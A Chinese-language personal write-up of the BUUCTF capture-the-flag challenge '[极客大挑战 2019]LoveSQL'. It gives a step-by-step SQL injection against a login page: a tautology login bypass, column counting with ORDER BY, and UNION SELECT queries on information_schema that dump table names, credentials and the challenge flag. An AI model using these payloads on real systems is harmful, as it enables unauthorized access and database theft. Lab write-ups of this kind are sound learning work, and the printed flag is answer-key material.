buu [极客大挑战 2019]LoveSQL 1 -刷题个人日记
小白一个,写给自己看。
进去后是这样:
用户名输入
1
和
1'
测试
发现
1'
报错
有sql语法错误,说明有sql注入点且后台数据库是MariaDB
用户名输入sql注入基本公式:
1' or 1=1;#
结果:
3bba40d66c98e28cf3bac11b45edbbab
像是md5编码,试试解码后不行。
可能flag在其他表里,我们要知道有哪些表且表的属性有哪些。
慢慢来,payload:
check.php?username=admin' order by 3%23&password=1
%23
是
#
的意思,因为是url 所以要url编码
没反应,继续。
check.php?username=admin' order by 4%23&password=1
报错:
说明有3列,3个属性。
说说这样构造的原因。我看过其他人的wp,在密码上也写了
1' or 1=1;#
,但这其实不影响什么。只要在用户名上注入成功就会显示
但密码不能为空,我猜测试会用isset()函数之类的验证并且只要这个后台sql语句为真就会固定返回上面这两个字符串。所以用
username=admin'
并且注释掉后面(后面应该是密码验证)就可以永真,就一定可以返回
Login Success!
,这也是密码可以随便填的原因。
继续:
check.php?username=1' union select 1,2,3%23&password=1
说明只回显第2,第3列。第一列就可能是主码id之类的,这不重要。重要的是我们只要把查询的信息放在第2或第3列就行。
说说这样构造的原因。
username
等于什么无所谓,不等于admin就行。然后联合查询1,2,3得出结果,可以说明第2列存的是用户名信息,第3列存的是密码信息。至于为什么这样查询会得出这样的结果,我还不知道。可能是这样查询就会得出这样的结果的原因,没有为什么8。
继续:
check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
说明有两个表:
geekuser
表和
l0ve1ysq1
表。
先说说这样构造的原因。
check.php?username=1' union select 1,2,group_concat(table_name)
from information_schema.tables
where table_schema=database()%23&password=1
我们把表显示在第3列,所以用语句取代3。
- group_concat() 用于一个集合显示括号里的信息。简单来说就是一个空(第3列)里显示多组信息。
- table_name:表
- information_schema:简单来说就是数据库结构的集合,可以是表,列等等。这里后面接.tables就是数据库的表
- table_schema:数据库
- database():获取数据库信息的函数。
现在先看第一个表
geekuser
:
check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser' and table_schema=database()%23&password=1
结果:
- column_name:列名
- information_schema.columns:数据库的列
- table_name:表名
geekuser
首尾别忘了加单引号。
就和我之前推理的一样,第2列存的是用户名信息,第3列存的是密码信息。
看看里面都存了什么:
check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1
-
id=
1
-
username=
admin
-
password=
3bba40d66c98e28cf3bac11b45edbbab
和我们第一次注入成功后显示页面的用户名和密码相同。
那flag就在第二个表
l0ve1ysq1
里:
check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' and table_schema=database()%23&password=1
和表1一样:
check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
滑到后面可以看到flag。(可以把id,username去掉只显示password减短字符串。)
flag{e66052e6-31a3-4057-9a3e-5d8e6aff1f40}
参考
[极客大挑战 2019]LoveSQL(最基础的sql注入,万能密码登录)
这是篇写给自己的日记,因为只有自己写得出来而且能让读者看懂才能是真的明白了。写之前我以为我是明白的,写完后才算是真正明白了,写这就是个融会贯通的过程。